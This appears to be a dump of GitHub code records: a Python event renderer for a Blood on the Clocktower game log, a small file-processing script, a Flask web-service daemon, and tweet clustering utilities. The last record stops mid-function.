f\"{self.getplayerimg()} bounces the kill onto {self.gettargetpack(self.targetlist[0])}\"\n                self.processdeath(self.player, [self.targetlist[0]], 'Mayor Kill')\n            else:\n                self.processmissing()\n\n        elif self.eventname == 'Virgin Kill':\n            if self.note == '':\n                self.HTML = f\"{self.getplayerimg()} Virgin kills {self.gettargetpack(self.targetlist[0])}\"\n                self.processdeath(self.player, [self.targetlist[0]], 'Virgin Kill')\n                self.delta.append([self.targetlist[0], \"abilityused\", True])\n            else:\n                self.processmissing()\n\n        elif self.eventname == 'Assassin Kill':\n            if self.note == '':\n                self.HTML = f\"{self.getplayerimg()} assassinates {self.gettargetpack(self.targetlist[0])}\"\n                self.processdeath(self.player, [self.targetlist[0]], 'Assassin Kill')\n            else:\n                self.processmissing()\n            self.playerabilityused()\n\n        elif self.eventname == 'Psychopath Kill':\n            if self.note == '':\n                self.HTML = f\"{self.getplayerimg()} ends {self.gettargetpack(self.targetlist[0])}\"\n                self.processdeath(self.player, [self.targetlist[0]], 'Psychopath Kill')\n            else:\n                self.processmissing()\n\n        elif self.eventname == 'Tinker Kill':\n            if self.note == '':\n                self.HTML = f\"{self.getplayerimg()} spontaneously dies\"\n                self.processdeath(None, [self.player], 'Tinker Kill')\n            else:\n                self.processmissing()\n\n        elif self.eventname == 'Cerenovus Execution':\n            if self.note == '':\n                self.HTML = f\"{self.getplayerimg()} is executed for breaking madness\"\n                cere = [x for x in gamestate['playerdata']\n                        if gamestate['playerdata'][x]['currentrole'] == 'Cerenovus'][0]\n                self.processdeath(cere, [self.player], 'Cere Kill')\n            else:\n                self.processmissing()\n\n        elif self.eventname == 'Gossip Kill':\n            if self.note == '':\n                gossip = [x for x in gamestate['playerdata']\n                          if gamestate['playerdata'][x]['currentrole'] == 'Gossip'][0]\n                gossippack = [gamestate['playerdata'][x] for x in gamestate['playerdata']\n                              if gamestate['playerdata'][x]['currentrole'] == 'Gossip'][0]\n                self.HTML = f\"{self.getplayerimg()} dies to the {self.playerimagehtml(gossippack)}\"\n                self.processdeath(gossip, [self.player], 'Gossip Kill')\n            else:\n                self.processmissing()\n\n        elif self.eventname in ['Boomdandy Slaughter', 'Boomdandy Vote Kill']:\n            boomdandykill = '/static/imgs/boomdandykill.webp'\n            if self.note == '':\n                self.HTML = f\"<img src = '{boomdandykill}' height = '75'>{self.gettargetpack(self.targetlist[0])} gets caught in the explosion\"\n                self.processdeath(self.player, [self.targetlist[0]], 'Boomdandy Slaughter')\n            else:\n                self.processmissing()\n\n        elif self.eventname == 'Exiled':\n            if self.note == '':\n                self.HTML = f\"{self.getplayerimg()} was Exiled\"\n                self.processdeath(None, [self.player], 'Exiled')\n            elif self.note == 'Protected':\n                self.HTML = f\"{self.getplayerimg()} was Exiled (Protected)\"\n            else:\n                self.processmissing()\n\n        elif self.eventname == 'Witch Kill':\n            if self.note == '':\n                witch = [x for x in gamestate['playerdata']\n                         if gamestate['playerdata'][x]['currentrole'] == 'Witch'][0]\n                witchpack = [gamestate['playerdata'][x] for x in gamestate['playerdata']\n                             if gamestate['playerdata'][x]['currentrole'] == 'Witch'][0]\n                self.HTML = f\"{self.getplayerimg()} dies to the {self.playerimagehtml(witchpack)}\"\n                self.processdeath(witch, [self.player], 'Witch Kill')\n            else:\n                self.processmissing()\n\n        elif self.eventname == 'Nomination':\n            clockhand = '/static/imgs/clock.webp'\n            clockblock = '/static/imgs/clockblock.webp'\n            targetplayerpack = self.gettargetpack(self.targetlist[0])\n\n            if self.note != 'No Vote':\n                vnum = str(self.note)[1:]\n                voteid = f\"{self.session}-{self.game}-{vnum}\"\n                votedetails = [x for x in votes.to_dict(\"records\") if x['voteid'] == voteid][0]\n                voterpack = [x for x in playervotes.to_dict(\"records\") if x['voteid'] == voteid]\n                livingvotes = len([x for x in voterpack if not x['Dead']])\n                deadvotes = len([x for x in voterpack if x['Dead'] and not x['Dead Vote Used']])\n                usedeadvotes = len([x for x in voterpack if x['Dead'] and x['Dead Vote Used']])\n\n                votesreceived = votedetails['Total Votes']\n                skull = '<svg height=\"30\" aria-hidden=\"true\" focusable=\"false\" data-prefix=\"fas\" data-icon=\"skull\" role=\"img\" xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\" class=\"svg-inline--fa fa-skull fa-w-16\"><path fill=\"currentColor\" d=\"M256 0C114.6 0 0 100.3 0 224c0 70.1 36.9 132.6 94.5 173.7 9.6 6.9 15.2 18.1 13.5 29.9l-9.4 66.2c-1.4 9.6 6 18.2 15.7 18.2H192v-56c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v56h64v-56c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v56h77.7c9.7 0 17.1-8.6 15.7-18.2l-9.4-66.2c-1.7-11.7 3.8-23 13.5-29.9C475.1 356.6 512 294.1 512 224 512 100.3 397.4 0 256 0zm-96 320c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64zm192 0c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64z\" class=\"\"></path></svg>'\n                deathmarker = skull if votedetails['On the Block'] == 1 else \"\"\n\n                self.HTML = f\"{self.getplayerimg()} <img src = '{clockhand}' height = '30'> {targetplayerpack}<br>\" \\\n                            f\"Living Votes Available:<strong>{livingvotes}</strong> \" \\\n                            f\"Dead Votes Available:<strong>{deadvotes}</strong> \" \\\n                            f\"Dead Votes Used:<strong>{usedeadvotes}</strong> \" \\\n                            f\"VotesReceived:<strong>{votesreceived}{deathmarker}</strong><br>\"\n\n                button = f'<button type=\"button\" class=\"btn btn-outline-info btn-sm\" onclick=\"toggletable({vnum})\" id=\"butv{vnum}\"><strong>Vote {vnum}</strong></button>'\n                self.HTML += button\n\n                pdata = gamestate['playerdata']\n                tablepack = [{'name': x['Player'], 'voted': x['Voted'], 'deadvoteused': x['Dead Vote Used'],\n                              'dead': not pdata[x['Player']]['alive'],'active': pdata[x['Player']]['active'],\n                              \"roleimg\": pdata[x['Player']]['roleimg'], \"role\": pdata[x['Player']]['currentrole']} for x\n                             in voterpack]\n\n                self.voterpack = tablepack\n\n                ghostvote = '/static/imgs/ghostvote.svg'\n                ghostvoteused = '/static/imgs/ghostvoteused.svg'\n                handraise = '/static/imgs/handraised.svg'\n                handlowered = '/static/imgs/handlowered.svg'\n\n                table = f'<table class=\"table\" id=\"VoteTable{vnum}\" style=\"display:none; table-layout: fixed ; width: 100%;\"><thead><tr>'\n\n                for t in tablepack:\n                    atag = f'{t[\"roleimg\"]}'\n                    namerole = f\"{t['name']}-{t['role']}\"\n                    table += f'<th scope=\"col\"><img src = \"{atag}\" height = \"40\"' \\\n                             f'data-bs-toggle=\"tooltip\" data-toggle=\"tooltip\" ' \\\n                             f'data-bs-placement=\"bottom\" title=\"\" data-bs-original-title=\"{namerole}\"></th>'\n\n                table += '</tr></thead><tbody><tr>'\n\n                for r in tablepack:\n                    if not r[\"dead\"]:\n                        table += f'<td></td>'\n                    elif r[\"dead\"] and not r[\"deadvoteused\"]:\n                        table += f'<td scope=\"col\"><img src = \"{ghostvote}\" height = \"30\"></td>'\n                    elif r[\"dead\"] and r[\"deadvoteused\"]:\n                        table += f'<td scope=\"col\"><img src = \"{ghostvoteused}\" height = \"30\"></td>'\n                    else:\n                        table += f'<td scope=\"col\">done fucked</td>'\n\n                table += '</tr><tr>'\n\n                for r in tablepack:\n                    if r[\"voted\"]:\n                        table += f'<td scope=\"col\"><img src = \"{handraise}\" height = \"30\"></td>'\n                    else:\n                        table += f'<td scope=\"col\"><img src = \"{handlowered}\" height = \"30\"></td>'\n\n                table += '</tr></tbody></table>'\n\n                self.HTML += \"<br>\"\n                self.HTML += table\n\n                self.nomination = [self.player, self.targetlist[0],\n                                   [livingvotes, deadvotes, votesreceived, votedetails['On the Block'] == 1, voterpack]]\n            elif self.note == 'No Vote':\n                self.HTML = f\"{self.getplayerimg()} <img src = '{clockblock}' height = '30'> {targetplayerpack}\"\n                if self.targetstatedict[self.targetlist[0]]['currentrole'] == \"Virgin\":\n                    self.roleabilityused('Virgin', gamestate)\n\n                self.nomination = [self.player, self.targetlist[0], None]\n            else:\n                self.processmissing()\n\n        elif self.eventname == 'Boomdandy Vote' or self.eventname == 'Fiddler Vote':\n            if self.note != 'No Vote':\n                if self.eventname == 'Boomdandy Vote':\n                    self.HTML = f\"{self.getplayerimg()} triggered a vote.<br>\"\n                    vnum = \"BOOM!\"\n                else:\n                    self.HTML = f\"{self.getroleimg('Fiddler')} triggered a vote.<br>\"\n                    vnum = \"Fiddled Vote\"\n\n                voteorder = gamestate['playerorder']\n                playerdata = gamestate['playerdata']\n                votecount = cnt(self.targetlist)\n                votesummary = [f\"{p}:{votecount[p]}\" for p in votecount]\n                votesummary = \" | \".join(votesummary)\n                self.HTML += f\"{votesummary}<br>\"\n\n                button = f'<button type=\"button\" class=\"btn btn-outline-info btn-sm\" onclick=\"toggletable(999)\" id=\"butv999\"><strong>{vnum}</strong></button>'\n                self.HTML += button\n\n                table = f'<div class=\"row\" id=\"VoteTable999\" style=\"display:none; table-layout: fixed ; width: 100%;\">'\n\n                for i in range(len(voteorder)):\n                    t = voteorder[i]\n                    atag = f'{playerdata[t][\"roleimg\"]}'\n                    namerole = f\"{playerdata[t]['name']}-{playerdata[t]['currentrole']}\"\n                    table += f'<div class=\"col-2\"><img src = \"{atag}\" height = \"40\"' \\\n                             f'data-bs-toggle=\"tooltip\" data-toggle=\"tooltip\" ' \\\n                             f'data-bs-placement=\"bottom\" title=\"\" data-bs-original-title=\"{namerole}\">' \\\n                             f'<h5>{self.targetlist[i]}</h5></div>'\n                table += '</div>'\n                self.HTML += table\n            else:\n                self.processmissing()\n\n        elif self.eventname == 'Forms a Cult (Miscount)':\n            self.HTML = f\"{self.getplayerimg()} tries to form a cult, the vote {self.targetlist[0]}.\"\n\n        elif self.eventname == 'Forms a Cult':\n            if self.note != 'No Vote':\n                voteorder = gamestate['playerorder']\n                playerindex = voteorder.index(self.player) + 1\n                voteorder = voteorder[playerindex:] + voteorder[:playerindex]\n                playerdata = gamestate['playerdata']\n                voteorder = [x for x in voteorder if playerdata[x][\"active\"]]\n                alignmentdata = [playerdata[x][\"currentalignment\"] for x in playerdata]\n                goodcount = len([x for x in alignmentdata if x == \"Good\"])\n                goodvotecount = len(\n                    [x for x in range(len(alignmentdata)) if alignmentdata[x] == \"Good\" and self.targetlist[x] == \"T\"])\n                vnum = \"Cult\"\n\n                self.HTML = f\"{self.getplayerimg()} tries to form a cult (Votes:{goodvotecount}/{goodcount}).<br>\"\n                button = f'<button type=\"button\" class=\"btn btn-outline-info btn-sm\" onclick=\"toggletable(999)\" id=\"butv999\"><strong>{vnum}</strong></button>'\n                self.HTML += button\n\n                table = f'<div class=\"row\" id=\"VoteTable999\" style=\"display:none; table-layout: fixed ; width: 100%;\">'\n                handraise = f'<td scope=\"col\"><img src = \"/static/imgs/handraised.svg\" height = \"40\">'\n                handlowered = f'<td scope=\"col\"><img src = \"/static/imgs/handlowered.svg\" height = \"40\">'\n                for i in range(len(voteorder)):\n                    t = voteorder[i]\n                    atag = f'{playerdata[t][\"roleimg\"]}'\n                    namerole = f\"{playerdata[t]['name']}-{playerdata[t]['currentrole']}\"\n                    hand = handraise if self.targetlist[i] == \"T\" else handlowered\n\n                    table += f'<div class=\"col-2\"><img src = \"{atag}\" height = \"40\"' \\\n                             f'data-bs-toggle=\"tooltip\" data-toggle=\"tooltip\" ' \\\n                             f'data-bs-placement=\"bottom\" title=\"\" data-bs-original-title=\"{namerole}\">' \\\n                             f'<h5>{hand}</h5></div>'\n                table += '</div>'\n                self.HTML += table\n            else:\n                self.processmissing()\n\n        elif self.eventname == \"Holds Lil' Monsta\":\n            if self.note == '':\n                LM = \"Lil' Monsta\"\n                self.HTML = f\"{self.getplayerimg()} grabs {self.getroleimg(LM)}\"\n            else:\n                self.processmissing()\n\n        elif self.eventname == 'Executed':\n            execute = '/static/imgs/execute.webp'\n            executeblock = '/static/imgs/executeblock.webp'\n            executejudge = '/static/imgs/executejudge.webp'\n            if self.note == '':\n                self.HTML = f\"<img src = '{execute}' height = '60'> {self.getplayerimg()} was executed\"\n                self.processdeath(None, [self.player], 'Executed')\n            elif self.note == \"Protected\":\n                self.HTML = f\"<img src = '{executeblock}' height = '60'> {self.getplayerimg()} dodged execution\"\n            elif self.note == \"Double Tap\":\n                self.HTML = f\"<img src = '{execute}' height = '60'> {self.getplayerimg()} was double tapped\"\n            elif self.note == \"Judge\":\n                judge = [x for x in gamestate['playerdata']\n                         if gamestate['playerdata'][x]['currentrole'] == 'Judge'][0]\n                judgepack = [gamestate['playerdata'][x] for x in gamestate['playerdata']\n                             if gamestate['playerdata'][x]['currentrole'] == 'Judge'][0]\n                self.HTML = f\"<img src = '{executejudge}' height = '60'> {self.getplayerimg()} was executed by\" \\\n                            f\"{self.playerimagehtml(judgepack)}\"\n                self.processdeath(judge, [self.player], 'Judge Executed')\n                self.roleabilityused('Judge', gamestate)\n            elif self.note == \"Scarlet Pass\":\n                self.HTML = f\"<img src = '{execute}' height = '60'> {self.getplayerimg()} was executed ({self.getroleimg('scarletwoman')}triggered)\"\n            elif self.note == \"Mastermind\":\n                self.HTML = f\"<img src = '{execute}' height = '60'> {self.getplayerimg()} was executed ({self.getroleimg('Mastermind')}triggered)\"\n                self.roleabilityused(\"Mastermind\", gamestate)\n            elif self.note == \"Mutant\":\n                self.HTML = f\"<img src = '{execute}' height = '60'> {self.getplayerimg()} was executed as the {self.getroleimg('Mutant')}\"\n            else:\n                self.processmissing()\n\n        elif self.eventname == 'Al-Hadikhia Selection':\n            targetplayerpack = self.gettargetpack(self.targetlist[0])\n            self.HTML = f\"{self.getplayerimg()} selects {targetplayerpack} to choose...life or death?\"\n\n        elif self.eventname == 'Demon Kill':\n            demonattack = '/static/imgs/DemonKill.webp'\n            demonattackblock = '/static/imgs/DemonKillBlocked.webp'\n            targetplayerpack = self.gettargetpack(self.targetlist[0])\n            BLOCKED = False\n            if self.note == \"Fang Gu Jump\":\n                self.HTML = f\"{self.getplayerimg()} <img src = '{demonattack}' height = '50'> \" \\\n                            f\"{targetplayerpack} {self.note}\"\n                self.processdeath(self.player, [self.player], 'Demon Kill')\n                BLOCKED = True\n            elif self.note == \"Star Pass\":\n                self.HTML = f\"{self.getplayerimg()} <img style='-webkit-transform: scaleX(-1); transform: \" \\\n                            f\"scaleX(-1);' src = '{demonattack}' height = '50'> <strong>STAR PASS</strong>\"\n            elif self.note == \"Legion\":\n                self.HTML = f\"{self.getroleimg('Legion', size=50)} <img src = '{demonattack}' height = '50'> \" \\\n                            f\"{targetplayerpack}\"\n            elif self.note == \"Scarlet Pass\":\n                self.HTML = f\"{self.getplayerimg()} <img style='-webkit-transform: scaleX(-1); transform: \" \\\n                            f\"scaleX(-1);' src = '{demonattack}' height = '50'> \" \\\n                            f\"{self.getroleimg('scarletwoman', size=40)} triggered\"\n            elif self.note == \"Lil' Monsta\":\n                LM = \"Lil' Monsta\"\n                self.HTML = f\"{self.getroleimg(LM)} <img src = '{demonattack}' height = '50'> {targetplayerpack}\"\n            elif self.note != \"\":\n                self.HTML = f\"{self.getplayerimg()} <img src = '{demonattackblock}' height = '50'> \" \\\n                            f\"{targetplayerpack} {self.note}\"\n                BLOCKED = True\n            else:\n                self.HTML = f\"{self.getplayerimg()} <img src = '{demonattack}' height = '50'> {targetplayerpack}\"\n\n            if not BLOCKED:\n                self.processdeath(self.player, [self.targetlist[0]], 'Demon Kill')\n\n        elif self.eventname == 'Al-Hadikhia Decision':\n            self.HTML = f\"{self.getplayerimg()} chooses to {self.targetlist[0]}\"\n\n        elif self.eventname == 'Shabaloth Resurrect':\n            p = self.targetlist[0]\n            targetplayerpack = self.gettargetpack(p)\n            self.HTML = f\"{self.getplayerimg()} resurrects {targetplayerpack}\"\n            self.delta.append([p, \"alive\", True])\n\n        elif self.eventname == 'Inactive':\n            self.HTML = f\"{self.getplayerimg()} is inactive\"\n            self.delta.append([self.player, \"active\", False])\n\n        elif self.eventname == 'Player Left Game':\n            self.HTML = f\"{self.getplayerimg()} left the game\"\n            self.delta.append([self.player, \"active\", False])\n\n        elif self.eventname == 'Player Joined Game':\n            self.HTML = f\"{self.getplayerimg()} finally turned up\"\n            self.delta.append([self.player, \"active\", True])\n\n        elif self.eventname == 'Game End':\n            winner = None\n            method = None\n            img = None\n            if self.note == 'Demon Executed':\n                winner, method = \"Good\", \"The Demon was Executed\"\n            elif self.note == 'Mayor Win':\n                winner, method = \"Good\", \"The Mayor Lives\"\n            elif self.note == 'Slayer Kill':\n                winner, method = \"Good\", \"The Slayer got the Demon\"\n            elif self.note == 'Storyteller Executed - Atheist':\n                winner, method = \"Good\", \"Storyteller Executed - Atheist\"\n            elif self.note == 'Evil Twin Executed':\n                winner, method = \"Good\", \"Evil Twin Executed\"\n\n            elif self.note == 'Saint Executed':\n                winner, method = \"Evil\", \"The Saint was Executed\"\n            elif self.note == 'Two Living Players':\n                winner, method = \"Evil\", \"Demon in final 2\"\n            elif self.note == 'No Execution - Vortox':\n                winner, method = \"Evil\", f\"No Execution with the {self.getroleimg('Vortox', size=40)}\"\n\n            elif self.note == 'Mastermind Execution':\n                winner, method = self.targetlist[0], \"Mastermind Triggered\"\n            elif self.note == 'Cult Formed':\n                winner, method = self.targetlist[0], f\"A {self.targetlist[0]} Cult Was Formed\"\n            elif self.note == 'Fiddler':\n                winner, method = self.targetlist[0], f\"The Game was Fiddled\"\n\n            if winner is None or method is None:\n                self.processmissing()\n            else:\n                colour = \"#09a5e3\" if winner == \"Good\" else \"#bd0000\"\n                if img is None:\n                    self.HTML = f'<h1>Game End - <span style=\"color: {colour}\">{winner} Win</span>' \\\n                                f'</h1><h4>{method}</h4>'\n                else:\n                    self.HTML = f'<h1>Game End - <span style=\"color: {colour}\">{winner} Win</span>' \\\n                                f'</h1><h4>{method}</h4><img src = \"{img}\" width = \"100%\">'\n                self.delta.append([None, \"win condition\", (self.note, winner)])\n\n\n        else:\n            self.processmissing()\n","repo_name":"SDoehren/ATOBCPreprocess","sub_path":"classes.py","file_name":"classes.py","file_ext":"py","file_size_in_byte":59218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"20169512891","text":"import math\r\n\r\n# Open the file with read only permit\r\ninFile = open('20kMyOutFile.txt')\r\noutFile = open(\"Latest.txt\", \"w\")\r\n# use readline() to read the first line \r\nline = inFile.readline()\r\n# use the read line to read further.\r\n\r\n\r\n\r\n\r\nwhile line:\r\n\tstringtime = []\r\n\tind = line.split(':')\r\n\tedge_array = ind[2].split(',')\r\n\ti=0;\r\n\tj=0;\r\n\t\r\n\twhile i<len(edge_array):\r\n\t\tif i==int(edge_array[j]):\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t\r\n\t\t\twhile(j+1<len(edge_array) and (edge_array[j]==edge_array[j+1])):\r\n\t\t\t\t\r\n\t\t\t\tj=j+1\r\n\t\t\tstringtime.append(j)\r\n\t\t\tj=j+1\r\n\t\t\t\r\n\t\t\ti=i+1\r\n\t\telif i<int(edge_array[0]):\r\n\t\t\tstringtime.append(0)\r\n\t\t\ti=i+1\r\n\t\telse :\r\n\r\n\t\t\tfirst=int(edge_array[j-1])\r\n\t\t\tsecond=int(edge_array[j])\r\n\t\t\tif abs(first-i)>abs(second-i):\r\n\t\t\t\tstringtime.append(j)\r\n\t\t\telse :\r\n\t\t\t\tstringtime.append(j-1)\r\n\t\t\ti=i+1\r\n\t\t\t\r\n\tstringtime = [str(i) for i in stringtime]\r\n\tst  = \",\".join(stringtime)\r\n\t\r\n\toutFile.write(ind[1] + ':' + ind[0] + ':'+st+'\\n')\r\n\t\r\n\tline = inFile.readline()\r\ninFile.close()\r\noutFile.close()\r\n","repo_name":"mahanoor786/BTP_algorithms","sub_path":"latest.py","file_name":"latest.py","file_ext":"py","file_size_in_byte":995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"20402361979","text":"from OpenSSL import SSL\n\nfrom flask import Flask\nfrom util import configuration\n\nfrom daemon import Daemon\nfrom odoo.ws import OdooWS\nfrom usrmng.ws import UserManagementWS\n\n\nclass KuttyWS(Daemon):\n    def __init__(self):\n        stdout, stderr = configuration.find_log_files()\n        home_dir = configuration.get_home_path()\n        pidfile = '%s/kutty.pid' % home_dir\n        super(KuttyWS, self).__init__(pidfile, stdout=stdout, stderr=stderr)\n\n    def run(self):\n        app = Flask(__name__)\n        OdooWS.register(app)\n        UserManagementWS.register(app)\n        context = SSL.Context(SSL.SSLv23_METHOD)\n        key_file, cert_file = configuration.find_cert_files()\n        context = (cert_file, key_file)\n        app.run(host='0.0.0.0', port=9090, ssl_context=context)\n\n    def start_ws_server(self):\n        self.start()\n\n    def stop_ws_server(self):\n        self.stop()\n","repo_name":"thisisckm/Kutty","sub_path":"src/kutty/kuttyws.py","file_name":"kuttyws.py","file_ext":"py","file_size_in_byte":885,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"11998395794","text":"__author__ = 'NLP-PC'\nimport csv, os, scipy as sp, numpy as np\nimport sys, math\nfrom sklearn.feature_extraction.text import CountVectorizer\nimport customed_vectorizer as cst_vectorizer\nfrom sklearn.cluster import KMeans\nfrom Utils import preprocessor as preprocessor\nfrom random import shuffle\nfrom parameters import vectorizer_param as param\n\n# 格式： tweet集合list\ndef clustering_tweets(labeled_tweets, num_cluster):\n    vectorizer = cst_vectorizer.StemmedTfidfVectorizer(**param)\n    tweet_vec = vectorizer.fit_transform(labeled_tweets)\n    km = KMeans(n_clusters=num_cluster, precompute_distances='auto', init='k-means++', n_init=3, verbose=1)\n    km.fit(tweet_vec)\n    clustered_tweets = []\n    for i in range(0, num_cluster):\n        similar_indices = (km.labels_ == i).nonzero()[0]\n        sent = ''\n        for sid in similar_indices:\n            sent = labeled_tweets[sid] + ' ' + sent\n        clustered_tweets.append(sent)\n    return clustered_tweets\n\n\n# test for clustering_tweets function\n# dir, f = '.\\data', 'smilarity_cluster_testdata.csv'\n# posts = []\n# with open(os.path.join(dir, f), 'r') as csvfile:\n# reader = csv.reader(csvfile, delimiter=',', quotechar='\"')\n# for post in reader:\n#         posts.append(post[1])\n# print(posts)\n# print(len(posts))\n# print(clustering_tweets(posts,3))\n\ndef linear_split(labeled_tweets, num_cluster):\n    labeled_tweets=np.array(labeled_tweets)\n    array=np.arange(len(labeled_tweets))\n    np.random.shuffle(array)  #是否shuffle，视情况而定\n    num_within_cluster = math.floor(len(labeled_tweets) / num_cluster)\n    array_matrix=array[0:num_within_cluster*num_cluster].reshape(num_cluster,num_within_cluster)\n    clustered_tweets=[]\n    for i in array_matrix:\n        clustered_tweets.append(' '.join(labeled_tweets[i]))\n    return clustered_tweets\n\n\n# test for linear_split function\n# dir, f = '.\\data', 'smilarity_cluster_testdata.csv'\n# posts = []\n# with open(os.path.join(dir, f), 'r') as csvfile:\n#     reader = csv.reader(csvfile, delimiter=',', quotechar='\"')\n#     for post in reader:\n#         posts.append(post[1])\n# print(posts)\n# print(len(posts))\n# print(linear_split(posts,3))\n\ndef build_clustered_testdata(tweets, num_cluster):\n    vectorizer = cst_vectorizer.StemmedTfidfVectorizer(**param)\n    tweet_vec = vectorizer.fit_transform(tweets)\n    km = KMeans(n_clusters=num_cluster, init='k-means++', n_init=10, verbose=1)\n    km.fit(tweet_vec)\n    clustered_tweets = []\n    for i in range(0, num_cluster):\n        similar_indices = (km.labels_ == i).nonzero()[0]\n        sent = ''\n        for sid in similar_indices:\n            sent = tweets[sid] + ' ' + sent\n        clustered_tweets.append(sent)\n    return clustered_tweets, km.labels_\n\n\n# original_labels表示tweets聚合之后所属的cluster\ndef sentiment_map_cluster2tweets(cluster_senti, original_labels):\n    tweets_senti = []\n    for i in original_labels:\n        tweets_senti.append(cluster_senti[i])\n    return tweets_senti\n\n\n# Test sentiment_map_cluster2tweets\n# cluster_senti=[0.51,.1,0.6]\n# original_labels=[0,1,0,0,1,2,1,2]\n# print(sentiment_map_cluster2tweets(cluster_senti, original_labels))\n\ndef clustering_tweets_hc(labeled_tweets, num_cluster):\n    vectorizer = cst_vectorizer.StemmedTfidfVectorizer(**param)\n    tweet_vec = vectorizer.fit_transform(labeled_tweets).toarray()\n    # print(tweet_vec)\n    n_clusters = num_cluster\n\n    from sklearn.neighbors import kneighbors_graph\n\n    knn_graph = kneighbors_graph(tweet_vec, 1, include_self=False)\n    # print(knn_graph)\n\n    connectivity = knn_graph\n    from sklearn.cluster import AgglomerativeClustering\n\n    model = AgglomerativeClustering(linkage='ward', connectivity=connectivity, n_clusters=n_clusters)\n    model.fit(tweet_vec)\n    c = model.labels_\n    # print(c,len(c))\n\n    clustered_tweets = []\n    for i in range(0, num_cluster):\n        similar_indices = (c == i).nonzero()[0]\n        sent = ''\n        for sid in similar_indices:\n            sent = labeled_tweets[sid] + ' ' + sent\n        clustered_tweets.append(sent)\n    return clustered_tweets\n    # test clustering_tweets_hc\n    # T=['we are loving each other', 'we are good', 'loving is good', 'go to each other heart', 'nice to meet u']\n    # print(T, clustering_tweets_hc(T, 2))\n\n\n# 只有tweets一个参数，没有n_cluster需要在函数内部指定\ndef build_clustered_testdata_hc(tweets, n_clusters = 3):\n    vectorizer = cst_vectorizer.StemmedTfidfVectorizer(**param)\n    tweet_vec = vectorizer.fit_transform(tweets).toarray()\n    # print(tweet_vec)\n    from sklearn.neighbors import kneighbors_graph\n\n    knn_graph = kneighbors_graph(tweet_vec, 2, include_self=False)\n    # print(knn_graph)\n\n    connectivity = knn_graph\n    from sklearn.cluster import AgglomerativeClustering\n\n    model = AgglomerativeClustering(linkage='average', connectivity=connectivity, n_clusters=n_clusters,\n                                    affinity='cosine')\n    model.fit(tweet_vec)\n    c = model.labels_\n    # print(c,len(c))\n\n    clustered_tweets = []\n    for i in range(0, n_clusters):\n        similar_indices = (c == i).nonzero()[0]\n        sent = ''\n        for sid in similar_indices:\n            sent = tweets[sid] + ' ' + sent\n        clustered_tweets.append(sent)\n    return clustered_tweets, c\n\n\n# Test\n# T=['T1 we are loving each other', 'T2 we are good', 'T3 loving is good', 'T4 go to each other heart', 'T5 nice to meet u', 'T6 you are not good']\n# clustered_texts,c=build_clustered_testdata_hc(T)\n# print(clustered_texts,c)\n\n\ndef nearest_tweets_cluster(tweets, n_clusters):\n    vectorizer = cst_vectorizer.StemmedTfidfVectorizer(**param)\n    tweet_vec = vectorizer.fit_transform(tweets)\n\n    from sklearn.metrics.pairwise import pairwise_distances\n\n    sim_matrix = 1 - pairwise_distances(tweet_vec, metric=\"cosine\")  # euclidean as well\n    num_tweets = tweet_vec.shape[0]\n\n    num_clusters = n_clusters\n    num_tweets_in_cluster = math.ceil(num_tweets / num_clusters)\n\n    ind_clustered_tweets = np.zeros([num_clusters, num_tweets_in_cluster], dtype=int)\n    j = 0\n    for i in range(0, num_tweets):\n        if np.any(sim_matrix[i] != -np.inf) and j < num_clusters:\n            indx = np.argpartition(sim_matrix[i], -num_tweets_in_cluster)[-num_tweets_in_cluster:]\n            ind_clustered_tweets[j] = [ind if sim_matrix[i, ind] != -np.inf else -1 for ind in indx]\n            # ind_clustered_tweets[j]=indx\n            sim_matrix[:, indx] = -np.inf\n            sim_matrix[indx, :] = -np.inf\n            j += 1\n\n        elif j >= num_clusters:\n            break\n        else:\n            continue\n\n    tweets = np.array(tweets)\n    clustered_tweets = []\n    for i in range(0, num_clusters):\n        ind = ind_clustered_tweets[i]\n        ind_illegal = np.where(ind == -1)[0]  # index of -1\n        # print(ind_illegal)\n        if len(ind_illegal) != 0:\n            ind = np.delete(ind, ind_illegal)\n\n        # print(ind)\n        clustered_tweets.append(' '.join(tweets[ind]))\n    import pickle\n\n    print('聚合在一起的training data保存在了：./acc_tmp/aggregated_training_tweets_greedy.p文件中')\n    pickle.dump(clustered_tweets, open(\"./acc_tmp/aggregated_training_tweets_greedy.p\", \"wb\"))\n    return (clustered_tweets)\n\n\n# T=['T1 we are loving each other', 'T2 we are good', 'T3 loving is good', 'T4 go to each other heart', 'T5 nice to meet u', 'T6 you are not good']\n# print(nearest_tweets_cluster(T,3))\n# ['T4 go to each other heart T2 we are good T1 we are loving each other', 'T5 nice to meet u T3 loving is good T5 nice to meet u']\n\n\n# 将nearest_tweets_cluster改造为可以聚类测试数据(需要返回每一个tweets对应的cluster编号)，和nearest_tweets_cluster类似，上面几乎都是这样的，聚类有两个(前者针对trainingdata，后者针对testdata)，所以看起来复杂\ndef build_clustered_testdata_nearest(tweets, num_clusters):\n    vectorizer = cst_vectorizer.StemmedTfidfVectorizer(**param)\n    tweet_vec = vectorizer.fit_transform(tweets)\n\n    from sklearn.metrics.pairwise import pairwise_distances\n\n    sim_matrix = 1 - pairwise_distances(tweet_vec, metric=\"cosine\")  # euclidean as well\n    num_tweets = tweet_vec.shape[0]\n\n    num_tweets_in_cluster = math.ceil(num_tweets / num_clusters)  # 一共100tweets放在21个cluster中就会出错：最后一个cluster为空\n\n    ind_clustered_tweets = np.zeros([num_clusters, num_tweets_in_cluster], dtype=int)\n    j = 0\n    for i in range(0, num_tweets):\n        if np.any(sim_matrix[i] != -np.inf) and j < num_clusters:\n            indx = np.argpartition(sim_matrix[i], -num_tweets_in_cluster)[-num_tweets_in_cluster:]\n            ind_clustered_tweets[j] = [ind if sim_matrix[i, ind] != -np.inf else -1 for ind in indx]\n            # ind_clustered_tweets[j]=indx\n            sim_matrix[:, indx] = -np.inf\n            sim_matrix[indx, :] = -np.inf\n            j += 1\n\n        elif j >= num_clusters:\n            break\n        else:\n            continue\n\n    tweets = np.array(tweets)\n   